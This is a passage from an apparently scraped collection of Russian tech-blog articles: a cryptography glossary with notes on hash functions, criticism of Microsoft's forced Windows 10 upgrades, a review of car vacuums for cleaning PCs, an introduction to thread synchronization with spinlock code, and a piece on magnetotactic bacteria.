шифрах криптографическая стойкость шифра целиком определяется секретностью ключа (принцип Керкгоффса). Шифр, криптосистема — семейство обратимых преобразований открытого текста в шифрованный. Шифрование — процесс нормального применения криптографического преобразования открытого текста на основе алгоритма и ключа, в результате которого возникает шифрованный текст. Расшифровывание — процесс нормального применения криптографического преобразования шифрованного текста в открытый. Асимметричный шифр, двухключевой шифр, шифр с открытым ключом — шифр, в котором используются два ключа, шифрующий и расшифровывающий. При этом, зная лишь ключ зашифровывания, нельзя расшифровать сообщение, и наоборот. Открытый ключ — тот из двух ключей асимметричной системы, который свободно распространяется. Шифрующий для секретной переписки и расшифровывающий — для электронной подписи. Секретный ключ, закрытый ключ — тот из двух ключей асимметричной системы, который хранится в секрете. Криптоанализ — наука, изучающая математические методы нарушения конфиденциальности и целостности информации. Криптоаналитик — учёный, создающий и применяющий методы криптоанализа. Криптографическая атака — попытка криптоаналитика вызвать отклонения в атакуемой защищённой системе обмена информацией. Успешную криптографическую атаку называют взлом или вскрытие. Дешифрование (дешифровка) — процесс извлечения открытого текста без знания криптографического ключа на основе известного шифрованного. Термин дешифрование обычно применяют по отношению к процессу криптоанализа шифротекста (криптоанализ сам по себе, вообще говоря, может заключаться и в анализе криптосистемы, а не только зашифрованного ею открытого сообщения). Криптографическая стойкость — способность криптографического алгоритма противостоять криптоанализу. Имитозащита — защита от навязывания ложной информации. Другими словами, текст остаётся открытым, но появляется возможность проверить, что его не изменяли ни случайно, ни намеренно. Имитозащита достигается обычно за счет включения в пакет передаваемых данных имитовставки. Имитовставка — блок информации, применяемый для имитозащиты, зависящий от ключа и данных. Электронная цифровая подпись, или электронная подпись — асимметричная имитовставка (ключ защиты отличается от ключа проверки). Другими словами, такая имитовставка, которую проверяющий не может подделать. Центр сертификации — сторона, чья честность неоспорима, а открытый ключ широко известен. Электронная подпись центра сертификации подтверждает подлинность открытого ключа. Хеш-функция — функция, которая преобразует сообщение произвольной длины в число («свёртку») фиксированной длины. Для криптографической хеш-функции (в отличие от хеш-функции общего назначения) сложно вычислить обратную и даже найти два сообщения с общей хеш-функцией. Бесключевые КА md2/4/5/6 MD2 — криптографическая хеш-функция, разработанная Рональдом Ривестом в 1989 году, и описанная в RFC 1319. На входе сообщение произвольный длины. Размер хеша — 128 бит. Как писал в свое время braindamagedman о MD5 и MD6: Алгоритм MD5 имел некогда большую популярность, но первые предпосылки взлома появились еще в конце девяностых, и сейчас его популярность стремительно падает. Алгоритм MD6 — очень интересный с конструктивной точки зрения алгоритм. Он выдвигался на конкурс SHA-3, но, к сожалению, авторы не успели довести его до кондиции, и в списке кандидатов, прошедших во второй раунд этот алгоритм, отсутствует. Tiger Криптографическая хеш-функция, разработанная Росом Андерсоном и Эли Бихамом в 1995 году. Tiger был предназначен для особенно быстрого выполнения на 64-разрядных компьютерах. Tiger не имеет патентных ограничений, может использоваться свободно как с эталонной реализацией, так и с её модификациями. Размер значения хеша — 192 бита (Tiger/192), хотя имеются также более короткие версии для совместимости с SHA-1 (Tiger/160) и с MD4, MD5, RIPEMD, Snefru (Tiger/128). Скорость работы — 132 Мбит/с (проверено на одном процессоре Alpha 7000, модель 660). На современных процессорах значительно быстрее (даже при тесте на 32-битном AMD Sempron 3000+ скорость около 225 Мбит/с). Так же была реализована Вторая версия Tiger2 —отличается от основной только другим алгоритмом добавления битов, сходным с MD5/SHA-1. Для Tiger2 доступны тестовые векторы. Sha-1/2 Алгоритм криптографического хеширования. Описан в RFC 3174. Для входного сообщения произвольной длины (максимум 22^64-1 бит, что примерно равно 2 эксабайта) алгоритм генерирует 160-битное хеш-значение, называемое также дайджестом сообщения. Используется во многих криптографических приложениях и протоколах. Также рекомендован в качестве основного для государственных учреждений в США. Принципы, положенные в основу SHA-1, аналогичны тем, которые использовались Рональдом Ривестом при проектировании MD4. SHA-3 Алгоритм хеширования переменной разрядности, разработанный группой авторов во главе с Йоаном Дайменом, соавтором Rijndael, автором шифров MMB, SHARK, Noekeon, SQUARE и BaseKing. 2 октября 2012 года Keccak стал победителем конкурса криптографических алгоритмов, проводимым Национальным институтом стандартов и технологий США. 5 августа 2015 года алгоритм утверждён и опубликован в качестве стандарта FIPS 202. В программной реализации авторы заявляют о 12,5 циклах на байт при выполнении на ПК с процессором Intel Core 2. Однако в аппаратных реализациях Keccak оказался намного быстрее, чем все другие финалисты. Алгоритм SHA-3 построен по принципу криптографической губки. Ripemd Криптографическая хеш-функция, разработанная в Католическом университете Лувена Хансом Доббертином (Hans Dobbertin), Антоном Босселарсом (Antoon Bosselaers) и Бартом Пренелом (Бартом Пренелем). Для произвольного входного сообщения функция генерирует 160-разрядное хеш-значение, называемое дайджестом сообщения. RIPEMD-160 является улучшенной версией RIPEMD, которая, в свою очередь, использовала принципы MD4 и по производительности сравнима с более популярной SHA-1. Существуют так же 128-, 256- 320-битные версии алгоритма, имеющие соответственные названия. Haval Криптографическая хеш-функция, разработанная Yuliang Zheng (англ.), Josef Pieprzyk (англ.) и Jennifer Seberry (англ.) в 1992 году. Для произвольного входного сообщения функция генерирует хеш-значение, называемое дайджестом сообщения, которое может иметь длину 128, 160, 192, 224 или 256 бит. Количество итераций — переменное, от 3 до 5. Количество раундов на каждой итерации — 32. Является модификацией MD5. P.S. Если кому интересно, то почти по всем алгоритмам, представленным в данной статье, имеются архивы , с реализацией на С, С++ или Ассемблере(на каком-то из языков), соответственно реализации не мои, скажу больше использовать их навряд ли получится, хотя кто знает.
https://habrahabr.ru/post/318378/
habrahabr
Microsoft признала, что переборщила с обновлением на Windows 10
['Windows 10', 'обновление', 'Microsoft', 'маркетинг', 'финансовое будущее', 'монетизация']
Корпорация Microsoft очень агрессивно продвигала операционную систему Windows 10. За последние полтора года появилось множество историй об этом, а «принудительное» обновление Windows стало...
Корпорация Microsoft очень агрессивно продвигала операционную систему Windows 10. За последние полтора года появилось множество историй об этом, а «принудительное» обновление Windows стало популярным сюжетом на Башорге. Специалисты по безопасности прямо говорили, что модуль «принудительного» обновления Windows с полиморфными техниками, который внедряется в Windows Update, действует как типичный зловред . Это уже не говоря о «тёмных паттернах» дизайна, когда крестик "Х" в углу окна с предложением обновиться означает не отказ от обновления, а нечто другое. Это можно понять, учитывая важность Windows 10 для финансового будущего Microsoft. Вероятно, Microsoft уже тогда понимала, что заходит за грань приличия, проталкивая Windows 10. Сейчас она признала это официально. Как говорят некоторые мужчины, легче попросить прощения, чем разрешения. В новом выпуске видеоподкаста Windows Weekly ведущий пригласил специального гостя — Криса Капосселу (Chris Capossela), директора по маркетингу Microsoft. В интервью высокопоставленный CMO впервые признал, что компания самую малость переборщила с обновлением на Windows 10. Капоссела сказал, что «очень болезненными» были две недели, с момента начала массового количества жалоб и до выпуска патча. «Мы знаем, что хотим, чтобы люди работали под Windows 10 с точки зрения безопасности. Мы пытались найти правильный баланс, чтобы не перейти черту и не быть слишком агрессивными. Думаю, что по большей части в течение года мы нашли этот баланс, но был один определённый момент, когда, вы помните, значок "Х" в диалоговом окне, который должен значить отмену, на самом деле не значил отмену», — сказал Капоссела. Слова CMO нуждаются в пояснении. Он считает, что всё то время, когда файлы установки 3-5 ГБ автоматически скачивались в фоновом режиме, пользователю постоянно показывались всплывающие сообщения «Ваш апгрейд готов к установке», а сама программа установки «случайно» запускалась на исполнение — это нормальный правильный баланс. И даже первое диалоговое окно с ложным выбором — оно было нормальным. В том диалоговом окне пользователю предоставлялся «выбор»: обновиться на Windows 10 сейчас или чуть позже. То есть сейчас или сейчас. Это видимость выбора, которая не предусматривает отрицательного ответа. Новые диалоговые окна начали показывать пользователям Windows 7 и 8.1 начиная с 13 декабря 2015 года. Красный крестик "Х" действительно закрывал окно. В мае 2016 года компания Microsoft исправила этот недостаток . В новом окне нажатие на крестик уже не означало отказа от установки. Оно означало только, что пользователь понял сообщение о будущей установке в указанное время. Такой вариант оказался слишком агрессивным. «В течение нескольких часов после того, как это вышло, с нашими системами связи прослушки [listening systems] мы знали, что зашли слишком далеко, — признался Крис Капоссела. — И тогда, конечно, заняло некоторое время, чтобы подготовить апдейт и откатить обновление, которое изменяло это поведение. И эти две недели были довольно болезненны и явно выставили нас в неприглядном свете. Очевидно, мы многое поняли из этого опыта». Даже СМИ, лояльные к Microsoft, не смогли обойти эту тему, и массовое возмущение пользователей выкатилось в социальные сети и на форумы. Корпорацию критиковали за то, что она принуждает к бесплатному обновлению на Windows 10 даже тех пользователей, которые этого не желают, игнорируя их выбор. Критики считают , такое частичное извинение Microsoft за «этот конкретный инцидент» имеет цель отвлечь от большой истории по агрессивному маркетингу Windows 10, который продолжался в течение примерно года. Теперь создаётся впечатление, что проблема была лишь в одном небольшом инциденте, и все забудут весь набор методов, который применяла Microsoft — с полиморфными обновлениями, принудительным изменением настроек в системе, запрещающих обновление, и т.д. Агрессивность была настолько велика, что многим пришлось установить специальное программное обеспечение, которое пыталось очистить систему от «вируса» GWX (именно модуль GWX занимался проталкиванием рекламы Windows 10). Некоторым пользователям пришлось заплатить деньги за техподдержку, удаление Windows 10 и исправление ошибок программного обеспечения после перехода на новую ОС, так что это обновление они запомнят ещё надолго. Но теперь история закончилась. Microsoft остаётся монетизировать пользователей, которые установили бесплатное обновление. Переведя аудиторию на Windows 10 с бесконечным циклом обновлений, она гарантировала свою финансовую безопасность в будущем. Лицензия Windows  10 привязана к конкретному оборудованию. Microsoft не разглашает подробности, каким именно образом осуществляется аппаратная привязка. После бесплатного апгрейда пользователю не присваивается ключ (product key). Вместо этого в процессе обновления регистрируется уникальный ID, связанный с аппаратной конфигурацией ПК, он отправляется на серверы активации Windows. В дальнейшем при установке Windows 10 на том же оборудовании сервер сверяет ID и подтверждает, что на конкретном оборудовании разрешено использовать Windows 10. Свою копию нельзя перенести на новый компьютер. Даже если пользователь сделал апгрейд с полноценной лицензионной копии Windows 7/8, которую можно было перенести на новый компьютер, то после бесплатного апгрейда на Windows 10 он лишается такой возможности . Таким образом, Microsoft гарантировала, что будет получать деньги за лицензию Windows на каждом проданном или собранном компьютере в будущем. Полноценная лицензия на версию Windows 10 Домашняя продаётся за 7900 российских рублей. Полноценная лицензия на Windows 10 Профессиональная — 13900 российских рублей. Есть ещё Microsoft 10 Home USB за 6670 руб. Деньги за новую лицензию пользователи Windows будут платить каждый раз при покупке каждого компьютера.
https://geektimes.ru/post/284028/
habrahabr
Набор компьютерного мастера — мобильного чистильщика железа
['пыль', 'вытяжка', 'пылесос', 'пылесосы', 'чистка системника', 'чистка', 'крепсондо']
Можно ли (нужно ли) вообще использовать автомобильные пылесосы по назначению? Функции, полезные для уборки технологических шкафов и корпусов. Простой способ «поднять мощность» всасывания. UPD:...
Можно ли (нужно ли) вообще использовать автомобильные пылесосы по назначению? Функции, полезные для уборки технологических шкафов и корпусов. Простой способ «поднять мощность» всасывания. UPD: Осторожно, тонер и мелкодисперсная пыль! Лето — хорошо, но оно не всегда. Сколько раз, открывая крышку двухгодовалого компьютера, уважаемый читатель хотел побыстрее закрыть её обратно, лишь бы не рухнула великая стена слежавшейся пыли? Можно, конечно, вернуть нежелательное содержимое корпуса пневмобаллоном обратно в помещение, только другие присутствующие обычно против, в горле сильно першит. Пылесос же вместе с уборщицей работают строго по расписанию, им обычно нет дела до айтишных проблем. Как-то раз, помимо плановых работ, решил заодно прибраться в технологических шкафах с вытяжкой. Иду к автомобилю, за спиной рюкзак, в одной руке — двухкиловаттный пылесос, в другой — ящик с инструментами. Думаю: а что будет, если взять портативный пылесос и компенсировать его слабую мощность пневмобаллоном? У меня ведь и так почти всегда с собой мощный блок питания AC/DC с гнездом прикуривателя, чтобы заряжать ноутбук и в автомобиле, и в кафе, и в офисе. Избавление от необходимости таскать тяжёлую машину с причиндалами показалась настолько заманчивой перспективой, что я решил исследовать рынок автомобильных пылесосов, но без намерения использовать их по прямому назначению. Впрочем, я часто так делаю. DISCLAIMER Это не заказная статья, но по правилам клуба она именно в этом хабе, хоть и не «проплачена». Я люблю работать с аудиторией, и она часто платит мне ценными замечаниями и комментариями. Поэтому если вы читаете этот текст где-то за пределами портала Geektimes, рекомендую зайти через недельку-другую сюда . И если ссылка откроется, значит, резиденты клуба меня не растерзали, и в статье наверняка появились интересные дополнения. А если не откроется, то и не читайте дальше :) Crowd Marketing Читать отзывы об автомобильных пылесосах — странное занятие: половина отзывов на «пятёрку» (отлично), другая половина на «единицу» (совершеннейший отстой). И это про одну и ту же модель. Золотой середины нет. Автор одного отзыва объяснил такую поляризацию мнений обычным нежеланием признавать свою собственную глупость при покупке. И это потом косвенно подтвердилось изобилием частных объявлений о продаже данной модели, содержащих фразу «новый, не использовался». Полезный критерий, между прочим. Теория По-моему, с прямым назначением у автомобильных пылесосов всё предельно ясно. Для начала спросите себя: какую мощность может выдать бортовая сеть автомобиля? Вряд ли больше 100Вт. Теперь посмотрите на мощность пылесоса, который используется для уборки жилья, сколько там нулей? Обычно речь об одном-двух киловаттах, т.е. в 10-20 раз больше. Какой вывод? Убирайте автомобиль промышленным пылесосом на автомойке… Нет, я не хочу сказать, что весь рынок автомобильных пылесосов — это сплошной обман. Деление на классы прослеживается: условно за $50..70 и условно за $10..20. Вторые обычно совершенно бесполезны, ими можно… я не знаю, что ими вообще можно делать. Разве что подарить своему недоброжелателю, пусть сперва помучается при уборке, а потом помучается при продаже. Независимое тестирование А вот первый класс изделий можно сравнить по мощности всасывания и функциям, и эту работу уже проделали ребята на портале АвтоДела (цены убираю, они уже не актуальны). DISCLAIMER: качество уборки ковра и всё остальное привожу AS IS, за подробностями обращайтесь к первоисточнику.   Сила всасывания, мм вод. столба Сила тока, А Мощность, Вт Оценка качества уборки ковра, баллы от 1 до 5 При запуске Во время работы BERKUT Smart Power SVC-800 631 с шлангом 24,4 5,8 69,6 5 AVS Turbo PA-1020 647 без шланга 17,4 6,3 75,6  4 Black & Decker PAD1200 512 с шлангом 12,9 5,0 60 3 Heyner CyclonicPower 553 без шланга 24,0 8,6 103,2 3 Pininfarina PNF/VC-100 Turbo 611 без шланга, 593 с шлангом 17 5,6 67,2 4 Агрессор AGR-100H Turbo 637 без шланга, 627 с шлангом 22,9 7,1 85,2 4 Autolux AL-6049 633 без шланга 20,3 7,6 91,2 3 Требования Компактные размеры Максимальная мощность всасывания Гибкий шланг — обязательно Тонкая погружная насадка для чистки труднодоступных мест Широкая насадка для вытяжки облака, поднятого пневмобаллоном Простота чистки фильтра, либо циклонный фильтр Низкий уровень шума, чтобы меньше мешать окружающим Питание 12В, потребляемая мощность до 100Вт; либо аккумулятор Из тех моделей, что попали в обзор, шланг только у Беркута, Агрессора, Black&Decker и Pininfarina. У Black&Decker слишком длинный «нос» на шланге, и почти у всех явно «ковровый» дизайн, т.е. заточены под одноручную работу без шланга, он скорее вспомогательный. Но Беркут привлёк моё айтишное внимание не столько узнаваемой «бухтовой» формой, сколько явно удлинённым шлангом и коротким «носом»: таким гораздо удобнее работать внутри шкафов и корпусов. Когда я его купил и распаковал, обрадовался, почти как ребёнок щенку. Но когда от надевания насадки активировался фонарик, я сам пришёл в щенячий восторг. И ничего лишнего. Заявленная электрическая мощность — 100Вт, ребята намеряли 70Вт. Ощущения Прибрал коврик у двери: медленно, но верно тянет. Крупные частицы, волосы и камушки остались в приёмной камере, перед фильтром грубой очистки. Мелкая пыль собралась фильтром тонкой очистки: я его сперва просто отряхнул в ведро, потом помыл. Полез в компьютер, тонкая погружная насадка на длинном шланге не только проникает в самые неожиданные места, но и увеличивает локальное давление всасывания. За «тонким» фильтром пока что девственно чистое чрево воздухозаборника. Работает, но совсем мелкую пыль Беркут выгоняет в помещение. Ожидаемо: чем тоньше фильтр, тем больше нужно давление для его продувки, а на 100Вт мощности особо не разгонишься. Фильтры Беркута UPD: ВНИМАНИЕ: тонер! Я подозреваю, что в некоторых местах при попытке даже приблизиться с пневмобаллоном к тонерной печатной машине незадачливый чистильщик будет немедленно обезврежен, лишён баллона, оплаты и выдворен за пределы периметра. Уборка мелкодисперсных частиц — особая дисциплина. Первым обратил внимание на проблемы уборки тонера пользователь cyberly , он же указал на профессиональный класс изделий типа «сервисный пылесос». Например, изделие 3M Service Vacuum убирает тонер, но и стоит, как пять Беркутов:) Но тут подоспели etz et al и напомнили нам, что главными узлами при уборке тонера является сменный фильтр-картридж и антистатический шланг, а давление можно получить более дешёвым способом. Картридж ст о ит порядка $20. Кстати, как и автомобильные пылесосы нижнего диапазона, но для тонера их категорически нельзя использовать даже как одноразовые — раздуют только мелкодисперсные частицы по помещению. Чёрные тонеры имеют условный размер частиц более 1мкм, цветные тонеры — от 0.3мкм. Соответственно, 3M предлагает и два типа фильтров: Type 2 (подешевле) для чёрного тонера с пылью и Type 1 (подороже) для любых тонеров, включая цветные. В век 3D-печати создание насадок, патрубков и переходников стало просто, но я бы выбирал токопроводящие материалы типа conductive ABS : к ним пыль не липнет, они антистатические. Если получится насадить эту конструкцию на Беркут, и (главное!) если ему хватит тяги продуть фильтр 3M, обязательно поделюсь с дорогими читателями. Пока сомневаюсь в этом. Ещё раз благодарю резидентов клуба за комментарии. UPD: Выводы Автомобильный генератор не даст достаточно мощности, чтобы установить фильтр для мелкодисперсной пыли и тем более тонера. Мелкодисперсная пыль легко выветривается из автомобиля, но в помещении является проблемой. Не нужно пытаться убирать автомобильным пылесосом само помещение: чем меньше он работает, тем меньше мелкодисперсной пыли поднимает в воздух. Быстро очистить один-два корпуса ПК Беркутом вполне можно, помогая себе пневмобаллоном. Аллергики и астматики, находящиеся в этот момент в непосредственной близости, вряд ли придут в восторг от своих ощущений. Уборка тонера, как и уборка техники в промышленных масштабах с точки зрения безопасности жизнедеятельности требует специальное оборудование: сервисный пылесос. Собрать тонерный (сервисный) пылесос своими руками можно, но понадобятся фабричные комплектующие для тонерного пылесоса, в первую очередь — фильтры и антистатический шланг. Для продвинутых адептов DIY рекомендую использовать электропроводный (conductive) ABS-пластик, доступный в т.ч. для 3D-печати. Ссылки Тестируем портативные авто пылесосы высшего ценового сегмента Тонерный пылесос своими руками Несколько недорогих способов улучшить свой цифровой быт
https://geektimes.ru/post/284024/
habrahabr
Конкурентность: Параллелизм
['параллельные вычисления']
В этой статье мне хотелось бы задокументировать всё, что я знаю о том, какие средства можно использовать для эффективного использования вычислительных ресурсов систем и/или удобства разработки. И,...
В этой статье мне хотелось бы задокументировать всё, что я знаю о том, какие средства можно использовать для эффективного использования вычислительных ресурсов систем и/или удобства разработки. И, надеюсь, кому-нибудь это может оказаться полезно, ибо кто-нибудь может чего-нибудь не знать, или, наоборот, окажется полезно мне, если кто-нибудь покажет что-нибудь ещё/укажет на изъяны в моих знаниях. Параллелизм (часть 1, текущая) Потоки: scheduling, сон Синхронизация : Spinlock, семафоры , барьеры памяти Атомарность: TAS, CAS Кооперативность (часть 2) Корутины (coroutines) Акторы Асинхронность (часть 3) Event loop select Callbacks Async Monad Промисы (promises, обещания) async/await — промисы + корутины Параллелизм Когда-то процессоры были одноядерные (до 2001 года) , а в системах был только один процессор (до 1966 года) . А затем инструкции стали выполняться одновременно в рамках одной системы. Потоки Потоки — абстракция операционной системы, позволяющая выполнять некие куски кода параллельно. Каждый поток имеет «контекст», в который входит кусок памяти под стек и копию регистров процессора. Очевидно, что потоков в системе может быть запущено куда больше, чем у нас имеется процессоров и ядер, поэтому операционная система занимается тем, что schedule'ит (занимается диспетчеризацией, планированием) выполнение процессов, восстанавливая регистры в ядрах процессора для работы некоторого потока некоторое время, затем сохраняет обратно и даёт выполняться следующему. Планирование должно быть хорошим, чтобы каждый поток работал примерно одинаковое время (но при этом достаточно малое, т.е. нас не удовлетворит, если каждый поток будет работать по несколько секунд), а так же само планирование занимало как можно меньше времени. Тут мы, традиционно, приходим к балансу latency/throughput: если давать потокам работать очень маленькие промежутки времени — задержки будут минимальны, но отношение времени полезной работы к времени на переключение контекстов уменьшится, и в итоге полезной работы будет выполнено меньше, а если слишком много — задержки станут заметны, что может проявиться на пользовательском интерфейсе/IO. Тут же хотелось бы отметить довольно важную вещь, к которой будем отсылаться позже. Потоки можно погружать в сон. Мы можем попросить операционную систему усыпить поток на некоторое время. Тогда она может учитывать это при планировании, исключив этот поток из очереди на получение процессорного времени, что даст больше ресурсов другим потокам, либо снизит энергопотребление. Кроме того, в теории можно настраивать приоритеты, чтобы некоторые потоки работали дольше, либо чаще, чем другие. Синхронизация Ядер у нас стало много, а память как была одна сплошная, так и осталась (хотя в современной организации памяти можно ногу сломать, там и физическая, и виртуальная, и страницы туда-сюда ходят, что-то где-то кешируется, проверяется на ошибки, странно, что всё это до сих пор работает вообще). И когда мы из нескольких потоков начинает менять одну и ту же память — всё может пойти совершенно не так, как мы этого хотели. Могут возникать «гонки», когда в зависимости от того, в каком порядке выполнятся операции, вас ожидает разный результат, что может приводить к потере данных. И, что ещё хуже — данные могут совсем портиться в некоторых случаях. К примеру, если мы записываем некоторое значение на невыровненный адрес памяти, нам нужно записать в две ячейки памяти, и может получиться так, что один поток запишет в одну ячейку, а другой в другую. И если вы записывали указатель, или индекс массива — то скорее всего вы получите падение программы через какое-то время, когда попытаетесь обратиться к чужой памяти. Чтобы этого не происходило, нужно использовать примитивы синхронизации, чтобы получать гарантии того, что некоторые блоки кода будут выполняться в строгом порядке относительно каких-то других блоков кода. Spinlock Самый простой примитив: у нас есть boolean'овая переменная, если true — значит блокировка кем-то была получена, false — свободна. И два метода: Lock , Unlock . Unlock устанавливает значение в false . Lock в цикле делает либо TAS , либо CAS (об этом будет далее), чтобы атомарно сменить false на true , и пытаться до тех пор, пока не получится. Имея такую штуку мы можем делать блоки кода, которые будут выполняться эксклюзивно (т.е. пока один выполняется, другой стартовать не может). В начале блока он выполняет метод Lock , в конце Unlock . Важно, чтобы он не попытался сделать Lock второй раз, иначе некому будет сделать Unlock и получится deadlock . Возможно навешивание плюшек. Например, сохранение идентификатора потока, кто захватил блокировку, чтобы никто кроме захватившего потока, не мог сделать Unlock , и если мы сделали Lock второй раз — он не зациклился, такая реализация это называется «мьютексом» . А если вместо boolean'а у нас беззнаковое число, а Lock ждёт числа больше нуля, уменьшая его на единицу, получается «семафор» , позволяющий работать некоторому заданному числу блоков одновременно, но не более. Поскольку блокировка работает в бесконечном цикле она просто «жгёт» ресурсы, не делая ничего полезного. Существуют реализации, которые при неудачах говорят планировщику «я всё, передай остаток моего времени другим потокам» . Или, например, есть «адаптивные мьютексы» , которые при попытке получить блокировку, которую удерживает поток, который в данный момент выполняется — использует spinlock, а если не выполняется — передаёт выполнение другим потокам. Это логично, т.к. если поток, который может освободить ресурс сейчас работает, то у нас есть шансы, что он вот-вот освободится. А если он не выполняется — есть смысл подождать чуть больше и передать выполнение другому потоку, возможно даже тому, кого мы ждём. По возможности стоит избегать использования спинлоков, их можно использовать только если блоки кода, которые они защищают, выполняются невероятно быстро, что шансы коллизии крайне малы. Иначе мы можем затратить довольно большое количество ресурсов просто на обогрев комнаты. Лучшая альтернатива блокировкам — усыпление потока, чтобы планировщик исключил его из претендентов на процессорное время, а затем просьба из другого потока разбудить первый поток обратно, чтобы он обработал новые данные, которые уже на месте. Но это справедливо только для очень длительных ожиданий, если же скорости освобождения блокировок соразмерны с одним «тактом» выполнения потока — производительнее использовать спинлоки. Барьер памяти В погоне за скоростью работы, архитекторы процессоров создали очень много тёмной магии, которая пытается предсказывать будущее и может переставлять процессорные инструкции местами, если они не зависят друг от друга. Если у вас каждый процессор работает только со своей памятью — вы никогда не заметите, что инструкции a = 5 и b = 8 выполнились в другом порядке, не так, как вы написали в коде. Но при параллельном исполнении это может привести к интересным случаям. Пример из википедии: // Processor #1: while (f == 0); // Memory fence required here print(x); // Processor #2: x = 42; // Memory fence required here f = 1; Казалось бы, что здесь может пойти не так? Цикл завершится, когда f будет присвоена единица, на момент чего переменная x вроде как уже будет равна 42 . Но нет, процессор может произвольно менять местами такие инструкции и в итоге сначала может выполниться f = 1 , а затем x = 42 и может вывестись не 42 , а что-нибудь другое. И даже более того. Если с порядком записи всё нормально, может быть изменён порядок чтения, где значение x прочитается перед тем, как мы войдём в цикл. Для противодействия этому используются барьеры памяти, специальные инструкции, которые препятствуют тому, чтобы инструкции были перемещены сквозь них. На хабре есть отличный перевод на эту тему. Атомарность Поскольку некоторые операции с памятью могут быть потоконебезопасны (например, прибавить к числу другое число и сохранить его обратно), существуют операции для проведения атомарных операций, для которых есть специальные процессорные инструкции. Наиболее часто используемые: Test-and-Set — записывает значение, возвращает предыдущее. Compare-and-Swap — записывает значение только в том случае, если текущее значение переменной совпадает с неким ожидаемым, возвращает успех записи. Возвращаясь к нашему спинлоку, операция получения блокировки может быть реализована как при помощи TAS : void lock() { // Мы будем записывать 1 до тех пор, пока между нашими выполнениям кто-то не запишет в неё 0 while (test_and_set(&isLocked, 1) == 0); } Так и при помощи CAS : void lock() { // Пытаемся записать 1, ожидая 0 while (!compare_and_swap(&isLocked, 0, 1)) } … как я сказал, мне бы хотелось задокументировать всё, но… получилось довольно много, поэтому я разобью это дело на три статьи. Stay tuned. UPD: Вторая часть .
https://habrahabr.ru/post/318374/
habrahabr
Физика в мире животных: магниточувствительные бактерии и их компас
['бактерии', 'магниточувствительность', 'живая природа']
В 1975 году микробиолог Ричард Блекмор (Richard P. Blakemore), получив диплом специалиста в Массачусетском университете, занялся сбором бактерий из болот, которые расположены вдоль...
В 1975 году микробиолог Ричард Блекмор (Richard P. Blakemore), получив диплом специалиста в Массачусетском университете, занялся сбором бактерий из болот, которые расположены вдоль Атлантического побережья. Отобранные образцы он изучал в лаборатории, а затем снова отправлялся на сборы. Однажды он обнаружил интересное поведение одного из штаммов отобранных бактерий. Дело в том, что эти бактерии всегда собирались на северном краю капли жидкости, в которой они находились на предметном стекле микроскопа. Он проверил свое предположение, и оказалось, что бактерии действительно постоянно стремятся на север. Блекмор решил понять, каким образом миниатюрные живые организмы, размер которых составляет около двух тысячных миллиметра в длину, умеют определять стороны света. Сначала ученый проверил, реагируют ли бактерии на магнитное поле. Он взял небольшой компас, и поместил его рядом с предметным стеклом с каплей жидкости и бактериями в ней. Бактерии, проигнорировав на этот раз север, начали двигаться в направлении линий магнитного поля этого магнита. Ученый сразу понял, что дело именно в магнитном поле, а не в чем-либо еще. Для того, чтобы описать магниточувствительность бактерий, он предложил термин «магнитотаксис». Стоит отметить, что уже позже ученые обнаружили и других бактерий, которые реагируют на магнитное поле. Среди них, порой, нет ничего общего, кроме способности двигаться по направлению линий магнитного поля. Термин «магнитотактические бактерии» объединяет палочек, спирилл, вибрионов и другие микроорганизмы. Как оказалось, внутри бактерии заключен крошечные частицы магнетита. Размер каждой такой частицы составляет всего 50 нм с каждой стороны. У разных бактерий это могут быть либо гранулы магнетита (Fe3O4) либо же гранулы грейгита (Fe3S4). Эти гранулы окружены липопротеиновой мембраной. Органы, где синтезируются кристаллы, носят название магнетосомы. Внутри бактерий они могут быть объединены в цепочки, а в клетках магнитотактических бактерий их число может насчитывать несколько десятков или даже сотен (у одной из бактерий, Candidatus Magnetobacter bavaricum, обнаружено свыше тысячи магнетосом). Так вот, кристаллы магнетита и грейгита выстраиваются в организме таких бактерий вдоль цепочки, ориентируясь параллельно магнитными дипольными моментами. Как говорит нам «Википедия» , магнетосома — мембранная структура бактерий, характерная для обладающих магнитотаксисом бактерий, содержащая монодоменные ферромагнитные кристаллы. Обычно в клетке содержится от 15 до 20 кристаллов магнетита, которые вместе действуют как игла компаса, помогая бактерии ориентироваться относительно геомагнитных полей, и таким образом упрощая им поиск их излюбленной микроаэрофильной среды обитания. Частицы магнетита также обнаружены в эукариотических магнитотактических водорослях, клетки которых содержат несколько тысяч кристаллов. Обычно общий магнитный дипольный момент достаточно велик , чтобы ориентировать клетку по направлению магнитных линий. Ориентированные по сторонам света бактерии двигаются при помощи одного либо нескольких жгутиков. Интересным моментом можно назвать то, что мертвые клетки тоже ориентируются по линиям магнитного поля (магнетосомы в составе организма бактерии остаются) но по понятным причинам не двигаются. Магниточувствительные бактерии из северного полушария Земли двигаются параллельно линиям геомагнитного поля. Это приводит к движению микроскопически малых организмов в направлении сервера. Их принято называть «север-ищущие». А вот бактерии из южного полушария двигаются в противоположном направлении, их называют «юг-ищущие». Собственно, названия бактерий не вызывает вопросов. Поскольку векторы линий магнитного поля направлены вверх в южном полушарии и вниз в северном, то движение как «южан», так и «северян» всегда направлено вниз. Ученые объясняют эту особенность бактерий тем, что им нужны слои ила с минимальной концентрацией кислорода. И умение ориентироваться в пространстве приводит к тому, что бактерии без проблем движутся все ниже и ниже. Затем, достигнув нужной глубины, они оседают на иловые частицы. Правда, здесь есть ряд вопросов. Один из них заключается в том, что ученые пока не могут объяснить, зачем некоторым видам бактерий сотни магнетосом в одной клетке. Ведь для ориентирования хватит всего несколько таких частиц. Первооткрыватель бактерий этого типа Ричард Блекмор заявил, что у магнетосом может быть несоклько функций. Одна из них — предотвращение накопления в клетке перекиси водорода H2O2. Это предположение частично подтверждается новыми экспериментами, показавшими, что магнетосомы действительно снижают содержание в клетке активных форм кислорода. Но здесь есть еще один вопрос, связанный с предыдущим. Дело в том, что синтез магнетосом начинается только в случае низкой концентрации кислорода. Плюс ко всему, свободные формы двухвалентного иона железа токсичны для бактерий. А ведь накопление в клетке большого количества магнетосом может привести к накоплению таких ионов. (A) специфическая экспрессия белков и флуорофорных меток; (B) использование fusion («сшитых») белков, стрептавидиновых меток; © образование комплексов с золотыми частицами посредством ДНК-линкеров; (D) модифицированных белков мембраны магнетосом и иммуноглобулин-связующего белка (MM—магнетосомная мембрана, MMP—магнетосомные белки, SAV—стрептавидин) ">(A) специфическая экспрессия белков и флуорофорных меток; (B) использование fusion («сшитых») белков, стрептавидиновых меток; © образование комплексов с золотыми частицами посредством ДНК-линкеров; (D) модифицированных белков мембраны магнетосом и иммуноглобулин-связующего белка (MM—магнетосомная мембрана, MMP—магнетосомные белки, 